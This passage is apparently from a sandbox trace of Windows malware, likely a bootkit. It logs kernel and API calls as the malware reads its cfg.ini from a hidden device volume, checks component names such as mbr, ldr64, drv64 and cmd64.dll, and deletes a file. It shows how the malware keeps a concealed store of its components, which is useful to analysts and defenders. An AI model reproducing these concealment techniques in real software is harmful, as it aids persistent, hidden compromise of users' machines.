_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.635] KeEnterCriticalRegion () [0117.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.635] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.635] KeLeaveCriticalRegion () [0117.635] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.635] KeEnterCriticalRegion () [0117.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.636] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.636] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.636] KeLeaveCriticalRegion () [0117.636] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.636] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.636] KeEnterCriticalRegion () [0117.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.636] ExFreePoolWithTag (P=0xfffffa80039c1340, Tag=0x0) [0117.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.636] KeLeaveCriticalRegion () [0117.636] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.636] ReleaseMutex (hMutex=0xf0) returned 1 [0117.636] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.636] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.636] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.636] KeEnterCriticalRegion () [0117.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.636] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.636] IdePortDispatch () returned 0x103 [0117.636] KeWaitForMutexObject () returned 0x0 [0117.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.636] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.636] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.636] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.636] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.636] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da090 [0117.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.636] KeLeaveCriticalRegion () [0117.636] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.636] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.636] KeEnterCriticalRegion () [0117.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.636] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.637] KeLeaveCriticalRegion () [0117.637] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.637] KeEnterCriticalRegion () [0117.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.637] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.637] IdePortDispatch () returned 0x103 [0117.637] KeWaitForMutexObject () returned 0x0 [0117.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.637] KeLeaveCriticalRegion () [0117.637] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.637] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.637] KeEnterCriticalRegion () [0117.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce3000 [0117.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.637] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.637] IdePortDispatch () returned 0x103 [0117.637] KeWaitForMutexObject () returned 0x0 [0117.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.637] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.637] IdePortDispatch () returned 0x103 [0117.638] KeWaitForMutexObject () returned 0x0 [0117.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.638] KeLeaveCriticalRegion () [0117.638] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.638] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.638] KeEnterCriticalRegion () [0117.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.638] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.638] KeLeaveCriticalRegion () [0117.638] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.638] KeEnterCriticalRegion () [0117.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.638] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.638] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.638] KeLeaveCriticalRegion () [0117.638] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.639] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.639] KeEnterCriticalRegion () [0117.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.639] ExFreePoolWithTag (P=0xfffffa80039da090, Tag=0x0) [0117.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.639] KeLeaveCriticalRegion () [0117.639] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.639] ReleaseMutex (hMutex=0xf0) returned 1 [0117.639] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.639] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.639] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.639] KeEnterCriticalRegion () [0117.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.639] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.639] IdePortDispatch () returned 0x103 [0117.639] KeWaitForMutexObject () returned 0x0 [0117.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.639] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.639] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.639] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.639] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.639] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da1e0 [0117.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.639] KeLeaveCriticalRegion () [0117.639] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.639] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.639] KeEnterCriticalRegion () [0117.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.639] KeLeaveCriticalRegion () [0117.639] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.639] KeEnterCriticalRegion () [0117.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.640] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.640] IdePortDispatch () returned 0x103 [0117.640] KeWaitForMutexObject () returned 0x0 [0117.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.640] KeLeaveCriticalRegion () [0117.640] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.640] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.640] KeEnterCriticalRegion () [0117.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.640] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce4000 [0117.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.640] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.640] IdePortDispatch () returned 0x103 [0117.640] KeWaitForMutexObject () returned 0x0 [0117.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.640] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.640] IdePortDispatch () returned 0x103 [0117.640] KeWaitForMutexObject () returned 0x0 [0117.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.641] KeLeaveCriticalRegion () [0117.641] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.641] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.641] KeEnterCriticalRegion () [0117.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.641] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.641] KeLeaveCriticalRegion () [0117.641] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.641] KeEnterCriticalRegion () [0117.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.641] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.641] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da2a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.641] KeLeaveCriticalRegion () [0117.641] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.641] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.641] KeEnterCriticalRegion () [0117.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.641] ExFreePoolWithTag (P=0xfffffa80039da1e0, Tag=0x0) [0117.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.641] KeLeaveCriticalRegion () [0117.641] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.641] ReleaseMutex (hMutex=0xf0) returned 1 [0117.642] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.642] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.642] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.642] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.642] KeEnterCriticalRegion () [0117.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.642] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.642] IdePortDispatch () returned 0x103 [0117.642] KeWaitForMutexObject () returned 0x0 [0117.642] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.642] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.642] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.642] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.642] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.642] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.642] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.642] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.642] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.642] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.642] KeLeaveCriticalRegion () [0117.642] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.642] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.642] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.642] KeEnterCriticalRegion () [0117.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.642] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.643] IdePortDispatch () returned 0x103 [0117.643] KeWaitForMutexObject () returned 0x0 [0117.643] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.643] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.643] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.643] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.643] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.643] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.643] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.643] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.643] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.643] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.643] KeLeaveCriticalRegion () [0117.643] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.643] ReleaseMutex (hMutex=0x100) returned 1 [0117.643] Sleep (dwMilliseconds=0x2bf20) [0117.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6952da10, dwHighDateTime=0x1d24fa4)) [0117.658] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.658] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.658] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.658] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.658] KeEnterCriticalRegion () [0117.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.658] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.658] IdePortDispatch () returned 0x103 [0117.658] KeWaitForMutexObject () returned 0x0 [0117.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.658] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.658] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.658] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.658] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.658] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.658] KeLeaveCriticalRegion () [0117.658] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.658] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.658] KeEnterCriticalRegion () [0117.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.658] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.658] KeLeaveCriticalRegion () [0117.659] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.659] KeEnterCriticalRegion () [0117.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.659] IoAllocateIrp 